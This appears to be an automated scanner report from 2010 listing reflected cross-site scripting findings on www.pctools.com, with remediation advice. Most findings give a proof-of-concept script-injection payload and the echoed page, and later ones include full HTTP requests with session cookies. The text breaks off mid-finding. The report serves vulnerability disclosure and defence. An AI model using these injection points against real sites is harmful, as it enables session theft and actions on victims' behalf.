Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Remediation background
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload a427a"-alert(1)-"d832b39533 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 404 Not Found Server: Apache X-Powered-By: PHP/4.4.8 Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 X-Cache-Lookup: MISS from www2.pctools.com:8080 Date: Sat, 18 Dec 2010 00:54:42 GMT Connection: close Content-Length: 21100
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>PC Tools - Page No ...[SNIP]... <script language="JavaScript"> var s_pageName="missing/images/ajax-loader.gifa427a"-alert(1)-"d832b39533/"; var s_account = "pctoolscom"; var uniqueID = "322523496497201162071299101186000000"; var s_events = ""; var s_products = ""; </script> ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload eaebc"><script>alert(1)</script>ceaa4744d6 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
HTTP/1.1 404 Not Found Server: Apache X-Powered-By: PHP/4.4.8 Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 X-Cache-Lookup: MISS from www1.pctools.com:8080 Date: Sat, 18 Dec 2010 00:54:40 GMT Connection: close Content-Length: 21160
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>PC Tools - Page No ...[SNIP]... <a href="/images/ajax-loader.gifeaebc"><script>alert(1)</script>ceaa4744d6/"> ...[SNIP]...
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload c12c6<script>alert(1)</script>e6f3c438611 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
HTTP/1.1 404 Not Found Server: Apache X-Powered-By: PHP/4.4.8 Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 X-Cache-Lookup: MISS from www6.pctools.com:8080 Date: Sat, 18 Dec 2010 00:54:42 GMT Connection: close Content-Length: 21156
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>PC Tools - Page No ...[SNIP]... </script>e6f3c438611/">/images/ajax-loader.gifc12c6<script>alert(1)</script>e6f3c438611/</a> ...[SNIP]...
1.4. http://www.pctools.com/images/ajax-loader.gif [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.pctools.com
Path:
/images/ajax-loader.gif
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c06fa"><script>alert(1)</script>4b863dc1c16 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
HTTP/1.1 404 Not Found Server: Apache X-Powered-By: PHP/4.4.8 Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 X-Cache-Lookup: MISS from www3.pctools.com:8080 Date: Sat, 18 Dec 2010 00:54:34 GMT Connection: close Content-Length: 21176
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>PC Tools - Page No ...[SNIP]... <a href="/images/ajax-loader.gif?c06fa"><script>alert(1)</script>4b863dc1c16=1/"> ...[SNIP]...
1.5. http://www.pctools.com/images/ajax-loader.gif [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.pctools.com
Path:
/images/ajax-loader.gif
Issue detail
The name of an arbitrarily supplied request parameter is copied into the HTML document as plain text between tags. The payload e8a1c<script>alert(1)</script>25d3c0e859 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
HTTP/1.1 404 Not Found Server: Apache X-Powered-By: PHP/4.4.8 Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 X-Cache-Lookup: MISS from www2.pctools.com:8080 Date: Sat, 18 Dec 2010 00:54:38 GMT Connection: close Content-Length: 21164
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>PC Tools - Page No ...[SNIP]... </script>25d3c0e859=1/">/images/ajax-loader.gif?e8a1c<script>alert(1)</script>25d3c0e859=1/</a> ...[SNIP]...
1.6. http://www.pctools.com/images/ajax-loader.gif [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.pctools.com
Path:
/images/ajax-loader.gif
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 296d6"-alert(1)-"821ad550a21 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 404 Not Found Server: Apache X-Powered-By: PHP/4.4.8 Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 X-Cache-Lookup: MISS from www3.pctools.com:8080 Date: Sat, 18 Dec 2010 00:54:37 GMT Connection: close Content-Length: 21116
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>PC Tools - Page No ...[SNIP]... <script language="JavaScript"> var s_pageName="missing/images/ajax-loader.gif?296d6"-alert(1)-"821ad550a21=1/"; var s_account = "pctoolscom"; var uniqueID = "322523496497201162071299101186000000"; var s_events = ""; var s_products = ""; </script> ...[SNIP]...
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload a5e0e<script>alert(1)</script>b7660eb9f91 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 404 Not Found Server: Apache X-Powered-By: PHP/4.4.8 Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 X-Cache-Lookup: MISS from www6.pctools.com:8080 Date: Sat, 18 Dec 2010 00:55:08 GMT Connection: close Content-Length: 21156
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>PC Tools - Page No ...[SNIP]... </script>b7660eb9f91/">/images/ajax-loader.gifa5e0e<script>alert(1)</script>b7660eb9f91/</a> ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload cc37a"><script>alert(1)</script>7dfc88345f6 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 404 Not Found Server: Apache X-Powered-By: PHP/4.4.8 Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 X-Cache-Lookup: MISS from www4.pctools.com:8080 Date: Sat, 18 Dec 2010 00:55:05 GMT Connection: close Content-Length: 21164
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>PC Tools - Page No ...[SNIP]... <a href="/images/ajax-loader.gifcc37a"><script>alert(1)</script>7dfc88345f6/"> ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload caa5d"-alert(1)-"e8ae301b6f1 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 404 Not Found Server: Apache X-Powered-By: PHP/4.4.8 Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 X-Cache-Lookup: MISS from www4.pctools.com:8080 Date: Sat, 18 Dec 2010 00:55:07 GMT Connection: close Content-Length: 21104
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>PC Tools - Page No ...[SNIP]... <script language="JavaScript"> var s_pageName="missing/images/ajax-loader.gifcaa5d"-alert(1)-"e8ae301b6f1/"; var s_account = "pctoolscom"; var uniqueID = "322523496497201162071299101186000000"; var s_events = ""; var s_products = ""; </script> ...[SNIP]...
1.10. http://www.pctools.com/images/ajax-loader.gif/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.pctools.com
Path:
/images/ajax-loader.gif/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 84e8e"><script>alert(1)</script>7fe872c9503 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
HTTP/1.1 404 Not Found Server: Apache X-Powered-By: PHP/4.4.8 Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 X-Cache-Lookup: MISS from www5.pctools.com:8080 Date: Sat, 18 Dec 2010 00:55:01 GMT Connection: close Content-Length: 21180
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>PC Tools - Page No ...[SNIP]... <a href="/images/ajax-loader.gif/?84e8e"><script>alert(1)</script>7fe872c9503=1/"> ...[SNIP]...
1.11. http://www.pctools.com/images/ajax-loader.gif/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.pctools.com
Path:
/images/ajax-loader.gif/
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 564ef"-alert(1)-"197be0b02e2 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 404 Not Found Server: Apache X-Powered-By: PHP/4.4.8 Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 X-Cache-Lookup: MISS from www3.pctools.com:8080 Date: Sat, 18 Dec 2010 00:55:03 GMT Connection: close Content-Length: 21120
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>PC Tools - Page No ...[SNIP]... <script language="JavaScript"> var s_pageName="missing/images/ajax-loader.gif/?564ef"-alert(1)-"197be0b02e2=1/"; var s_account = "pctoolscom"; var uniqueID = "322523496497201162071299101186000000"; var s_events = ""; var s_products = ""; </script> ...[SNIP]...
1.12. http://www.pctools.com/images/ajax-loader.gif/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.pctools.com
Path:
/images/ajax-loader.gif/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the HTML document as plain text between tags. The payload 30005<script>alert(1)</script>6d93a1c10b9 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
HTTP/1.1 404 Not Found Server: Apache X-Powered-By: PHP/4.4.8 Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 X-Cache-Lookup: MISS from www4.pctools.com:8080 Date: Sat, 18 Dec 2010 00:55:04 GMT Connection: close Content-Length: 21172
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>PC Tools - Page No ...[SNIP]... </script>6d93a1c10b9=1/">/images/ajax-loader.gif/?30005<script>alert(1)</script>6d93a1c10b9=1/</a> ...[SNIP]...
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload aa010<script>alert(1)</script>007995bd021 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /res/ajax'aa010<script>alert(1)</script>007995bd021 HTTP/1.1 Host: www.pctools.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sess=%20s_cc%3Dtrue%3B%20s_sq%3Dpctoolscom%253D%252526pid%25253Dmissing%25252Fres%25252Fajax%25252Fnewsletter.php78171%252525253Cscript%252525253Ealert%252525281%25252529%252525253C%25252Fscript%252525253Eab2ad77cf21%25252F%252526pidt%25253D1%252526oid%25253Dhttp%2525253A%25252F%25252Fwww.pctools.com%25252F%252526ot%25253DA%3B; __utmz=263908883.1292625229.1.1.utmcsr=msnuk|utmccn=msnuk|utmcmd=cpc; s_sq=pctoolscom%3D%2526pid%253Dmissing/res/ajax/newsletter.php78171%2525253Cscript%2525253Ealert%2525281%252529%2525253C/script%2525253Eab2ad77cf21/%2526pidt%253D1%2526oid%253Dhttp%25253A//www.pctools.com/%2526ot%253DA; mbox=PC#1292625228850-498824.20#1293842010|session#1292632089926-684475#1292634270|check#true#1292632470; ccheck=msnuk; s_cc=true; referrer=msnuk; sc_id=322523496497201162071299101186000000; marincur=usd; s_pers=%20event69%3Devent69%7C1313361274382%3B%20s_nr%3D1292632409333-Repeat%7C1313368409333%3B; IS3_History=1292540208-5-92_13-5-+33-5-+5--5+6--5+7--5+9--5+25--5+26--5+27--5__13-33-5-6-7-9-25-26-27_13-33-5-6-7-9-25-26-27; isvt_visitor=xD1uIAoBC2YAAElVsDIAAAAAAAQMmTcKgHYdTG; JS9K=0; IS3_GSV=DPL-2_TES-1292632091_PCT-1292632409_GeoIP-174.121.222.18_GeoCo-_GeoRg-_GeoCt-_GeoNs-unknown_GeoDm-; PHPSESSID=1df84d11fbcfbc2df0bb18c6f382eee6; __utma=263908883.1482675058.1292625229.1292625229.1292632090.2; reftrack=msnuk%2320101217223359; __utmc=263908883; __utmb=263908883.6.10.1292632090; refid=0;
Response (redirected)
HTTP/1.1 404 Not Found Server: Apache X-Powered-By: PHP/4.4.8 Content-Type: text/html; charset=UTF-8 X-Cache-Lookup: MISS from www7.pctools.com:8080 Date: Sat, 18 Dec 2010 00:50:46 GMT Content-Length: 21104 Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>PC Tools - Page No ...[SNIP]... </script>007995bd021/">/res/ajax'aa010<script>alert(1)</script>007995bd021/</a> ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload ffbff"-alert(1)-"6f7bde6dc2e was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /res/ajax'ffbff"-alert(1)-"6f7bde6dc2e HTTP/1.1 Host: www.pctools.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sess=%20s_cc%3Dtrue%3B%20s_sq%3Dpctoolscom%253D%252526pid%25253Dmissing%25252Fres%25252Fajax%25252Fnewsletter.php78171%252525253Cscript%252525253Ealert%252525281%25252529%252525253C%25252Fscript%252525253Eab2ad77cf21%25252F%252526pidt%25253D1%252526oid%25253Dhttp%2525253A%25252F%25252Fwww.pctools.com%25252F%252526ot%25253DA%3B; __utmz=263908883.1292625229.1.1.utmcsr=msnuk|utmccn=msnuk|utmcmd=cpc; s_sq=pctoolscom%3D%2526pid%253Dmissing/res/ajax/newsletter.php78171%2525253Cscript%2525253Ealert%2525281%252529%2525253C/script%2525253Eab2ad77cf21/%2526pidt%253D1%2526oid%253Dhttp%25253A//www.pctools.com/%2526ot%253DA; mbox=PC#1292625228850-498824.20#1293842010|session#1292632089926-684475#1292634270|check#true#1292632470; ccheck=msnuk; s_cc=true; referrer=msnuk; sc_id=322523496497201162071299101186000000; marincur=usd; s_pers=%20event69%3Devent69%7C1313361274382%3B%20s_nr%3D1292632409333-Repeat%7C1313368409333%3B; IS3_History=1292540208-5-92_13-5-+33-5-+5--5+6--5+7--5+9--5+25--5+26--5+27--5__13-33-5-6-7-9-25-26-27_13-33-5-6-7-9-25-26-27; isvt_visitor=xD1uIAoBC2YAAElVsDIAAAAAAAQMmTcKgHYdTG; JS9K=0; IS3_GSV=DPL-2_TES-1292632091_PCT-1292632409_GeoIP-174.121.222.18_GeoCo-_GeoRg-_GeoCt-_GeoNs-unknown_GeoDm-; PHPSESSID=1df84d11fbcfbc2df0bb18c6f382eee6; __utma=263908883.1482675058.1292625229.1292625229.1292632090.2; reftrack=msnuk%2320101217223359; __utmc=263908883; __utmb=263908883.6.10.1292632090; refid=0;
Response (redirected)
HTTP/1.1 404 Not Found Server: Apache X-Powered-By: PHP/4.4.8 Content-Type: text/html; charset=UTF-8 X-Cache-Lookup: MISS from www5.pctools.com:8080 Date: Sat, 18 Dec 2010 00:50:45 GMT Content-Length: 21052 Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>PC Tools - Page No ...[SNIP]... <script language="JavaScript"> var s_pageName="missing/res/ajax'ffbff"-alert(1)-"6f7bde6dc2e/"; var s_account = "pctoolscom"; var uniqueID = "322523496497201162071299101186000000"; var s_events = ""; var s_products = ""; </script> ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ca8fe"><script>alert(1)</script>3be637822da was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /res/ajax'ca8fe"><script>alert(1)</script>3be637822da HTTP/1.1 Host: www.pctools.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sess=%20s_cc%3Dtrue%3B%20s_sq%3Dpctoolscom%253D%252526pid%25253Dmissing%25252Fres%25252Fajax%25252Fnewsletter.php78171%252525253Cscript%252525253Ealert%252525281%25252529%252525253C%25252Fscript%252525253Eab2ad77cf21%25252F%252526pidt%25253D1%252526oid%25253Dhttp%2525253A%25252F%25252Fwww.pctools.com%25252F%252526ot%25253DA%3B; __utmz=263908883.1292625229.1.1.utmcsr=msnuk|utmccn=msnuk|utmcmd=cpc; s_sq=pctoolscom%3D%2526pid%253Dmissing/res/ajax/newsletter.php78171%2525253Cscript%2525253Ealert%2525281%252529%2525253C/script%2525253Eab2ad77cf21/%2526pidt%253D1%2526oid%253Dhttp%25253A//www.pctools.com/%2526ot%253DA; mbox=PC#1292625228850-498824.20#1293842010|session#1292632089926-684475#1292634270|check#true#1292632470; ccheck=msnuk; s_cc=true; referrer=msnuk; sc_id=322523496497201162071299101186000000; marincur=usd; s_pers=%20event69%3Devent69%7C1313361274382%3B%20s_nr%3D1292632409333-Repeat%7C1313368409333%3B; IS3_History=1292540208-5-92_13-5-+33-5-+5--5+6--5+7--5+9--5+25--5+26--5+27--5__13-33-5-6-7-9-25-26-27_13-33-5-6-7-9-25-26-27; isvt_visitor=xD1uIAoBC2YAAElVsDIAAAAAAAQMmTcKgHYdTG; JS9K=0; IS3_GSV=DPL-2_TES-1292632091_PCT-1292632409_GeoIP-174.121.222.18_GeoCo-_GeoRg-_GeoCt-_GeoNs-unknown_GeoDm-; PHPSESSID=1df84d11fbcfbc2df0bb18c6f382eee6; __utma=263908883.1482675058.1292625229.1292625229.1292632090.2; reftrack=msnuk%2320101217223359; __utmc=263908883; __utmb=263908883.6.10.1292632090; refid=0;
Response (redirected)
HTTP/1.1 404 Not Found Server: Apache X-Powered-By: PHP/4.4.8 Content-Type: text/html; charset=UTF-8 X-Cache-Lookup: MISS from www7.pctools.com:8080 Date: Sat, 18 Dec 2010 00:50:43 GMT Content-Length: 21112 Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>PC Tools - Page No ...[SNIP]... <a href="/res/ajax'ca8fe"><script>alert(1)</script>3be637822da/"> ...[SNIP]...
1.16. http://www.pctools.com/res/ajax' [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.pctools.com
Path:
/res/ajax'
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload cdc29"-alert(1)-"712cec0fc38 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /res/ajax'?cdc29"-alert(1)-"712cec0fc38=1 HTTP/1.1 Host: www.pctools.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sess=%20s_cc%3Dtrue%3B%20s_sq%3Dpctoolscom%253D%252526pid%25253Dmissing%25252Fres%25252Fajax%25252Fnewsletter.php78171%252525253Cscript%252525253Ealert%252525281%25252529%252525253C%25252Fscript%252525253Eab2ad77cf21%25252F%252526pidt%25253D1%252526oid%25253Dhttp%2525253A%25252F%25252Fwww.pctools.com%25252F%252526ot%25253DA%3B; __utmz=263908883.1292625229.1.1.utmcsr=msnuk|utmccn=msnuk|utmcmd=cpc; s_sq=pctoolscom%3D%2526pid%253Dmissing/res/ajax/newsletter.php78171%2525253Cscript%2525253Ealert%2525281%252529%2525253C/script%2525253Eab2ad77cf21/%2526pidt%253D1%2526oid%253Dhttp%25253A//www.pctools.com/%2526ot%253DA; mbox=PC#1292625228850-498824.20#1293842010|session#1292632089926-684475#1292634270|check#true#1292632470; ccheck=msnuk; s_cc=true; referrer=msnuk; sc_id=322523496497201162071299101186000000; marincur=usd; s_pers=%20event69%3Devent69%7C1313361274382%3B%20s_nr%3D1292632409333-Repeat%7C1313368409333%3B; IS3_History=1292540208-5-92_13-5-+33-5-+5--5+6--5+7--5+9--5+25--5+26--5+27--5__13-33-5-6-7-9-25-26-27_13-33-5-6-7-9-25-26-27; isvt_visitor=xD1uIAoBC2YAAElVsDIAAAAAAAQMmTcKgHYdTG; JS9K=0; IS3_GSV=DPL-2_TES-1292632091_PCT-1292632409_GeoIP-174.121.222.18_GeoCo-_GeoRg-_GeoCt-_GeoNs-unknown_GeoDm-; PHPSESSID=1df84d11fbcfbc2df0bb18c6f382eee6; __utma=263908883.1482675058.1292625229.1292625229.1292632090.2; reftrack=msnuk%2320101217223359; __utmc=263908883; __utmb=263908883.6.10.1292632090; refid=0;
Response (redirected)
HTTP/1.1 404 Not Found Server: Apache X-Powered-By: PHP/4.4.8 Content-Type: text/html; charset=UTF-8 X-Cache-Lookup: MISS from www5.pctools.com:8080 Date: Sat, 18 Dec 2010 00:50:40 GMT Content-Length: 21064 Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>PC Tools - Page No ...[SNIP]... <script language="JavaScript"> var s_pageName="missing/res/ajax'?cdc29"-alert(1)-"712cec0fc38=1/"; var s_account = "pctoolscom"; var uniqueID = "322523496497201162071299101186000000"; var s_events = ""; var s_products = ""; </script> ...[SNIP]...
1.17. http://www.pctools.com/res/ajax' [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.pctools.com
Path:
/res/ajax'
Issue detail
